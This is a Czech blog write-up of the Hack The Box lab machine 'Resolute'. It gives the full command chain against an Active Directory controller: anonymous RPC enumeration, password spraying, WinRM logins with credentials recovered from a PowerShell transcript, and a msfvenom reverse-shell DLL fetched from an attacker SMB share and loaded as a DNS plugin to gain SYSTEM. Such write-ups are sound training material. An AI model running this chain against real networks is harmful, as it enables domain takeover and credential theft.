tom@home.htb:~$

Blog o HTB

5 January 2021

Resolute

Úvod a kontext

Resolute je ukázkový Active Directory stroj, kde user foothold nevzniká exploitem, ale nepozornou správou účtů. Doménová enumerace bez přihlášení prozradí seznam uživatelů i popisek s výchozím heslem a z něj pak vede přímá cesta k validnímu WinRM přístupu.

Eskalace je pak zase jiný typ chyby: provozní tajemství v PowerShell transcriptu a příliš silná práva nad DNS službou. Je to dobrá připomínka, že AD útoky často nestojí na jedné „super zranitelnosti“, ale na několika obyčejných chybách v hygieně prostředí.

Vedle článků o AD technikách je Resolute dobré číst i spolu s textem Metadata, logy, incidentní a forenzní artefakty jako zdroj přístupů, protože rozhodující tajemství neleží v exploitu, ale v administrativním transcriptu.

Počáteční průzkum

Enumerace domény bez přihlášení

První scan ukázal typický řadič domény s LDAP, Kerberem, SMB a WinRM.

nmap -p 1-65535 -T4 -A -sC -v $IP
88/tcp    open  kerberos-sec Microsoft Windows Kerberos
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP
445/tcp   open  microsoft-ds Windows Server 2016 Standard
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0

Na takovém hostu má smysl zkusit anonymní RPC dotazy. Z nich šel vytáhnout nejen seznam účtů, ale i velmi cenný popisek u jednoho z nich. Praktickou roli tohoto typu enumerace rozebírám i v článku rpcclient:

rpcclient -W "" -U "%" -c querydispinfo $IP
Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!

To neznamená automaticky, že marko má stále stejné heslo. Dává to ale dobrý důvod ověřit, zda nejde o výchozí heslo použité i u dalších novějších účtů.

Analýza zjištění

Ověření hesla proti doménovým uživatelům

Po anonymní enumeraci šlo sestavit seznam uživatelů a zkusit heslo Welcome123! proti celé sadě. To je přesně ten moment, kdy se z jedné zdánlivě nevýznamné poznámky stává použitelný foothold.

while IFS= read -r user; do
  smbclient -W 'megabank.local' //megabank.local/ipc$ -U $user%'Welcome123!' -c 'help'
done < Megabank-users.txt
melanie

Získání přístupu

WinRM jako melanie

Jakmile bylo potvrzeno, že heslo funguje pro účet melanie, dával WinRM smysl jako nejstabilnější přístupový kanál.

Kdy a proč je tohle nejpraktičtější další krok rozebírám i v článku Evil-WinRM.

evil-winrm -i Resolute.megabank.local -u melanie -p 'Welcome123!'

V tomhle bodě už šlo potvrdit user.txt a zahájit lokální průzkum hostu. Nejdůležitější nález se neskrýval v nějakém exploitu, ale v administrativních transcriptech PowerShellu:

cmd /c dir c:\ /a:h /d
gc C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!

To je provozní únik v čisté podobě: transcript zachytil přihlašovací údaje jiného účtu a uložil je lokálně na stroji, ke kterému se už útočník dostal.

Právě takové artefakty shrnuji i v článku Metadata, logy, incidentní a forenzní artefakty jako zdroj přístupů: nejde o zranitelnost PowerShellu, ale o to, že obranný nebo provozní nástroj sám vytvoří další credential source.

Přechod na ryan

Získané heslo šlo rovnou ověřit přes WinRM:

evil-winrm -i Resolute.megabank.local -u ryan -p 'Serv3r4Admin4cc123!'

Pozdější root část pak stojí i na technickém SMB helperu impacket-smbserver, jehož praktickou roli rozebírám v článku Impacket pro vzdálené vykonávání a SMB pomocné workflow.

Tím se celý útok posunul z běžného doménového účtu na uživatele s právy potřebnými pro zásah do DNS služby.

Eskalace oprávnění

DNS plugin DLL jako cesta k SYSTEM

Účet ryan měl možnost změnit cestu k server-level plugin DLL pro DNS službu. To je kritické oprávnění: při restartu služby se DLL načte s právy SYSTEM.

Praktický postup byl:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.134 LPORT=4000 -f dll -o dnsplugin.dll
impacket-smbserver data .
dnscmd.exe /config /serverlevelplugindll \\10.10.15.134\data\dnsplugin.dll
cmd /c "sc stop dns"
cmd /c "sc start dns"

Jakmile DNS služba načetla útočníkovu DLL ze vzdáleného SMB share, vznikl shell v kontextu SYSTEM. root.txt už pak byl jen ověřením plné kompromitace řadiče.

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: windows - smb - kerberos - ldap - winrm - active-directory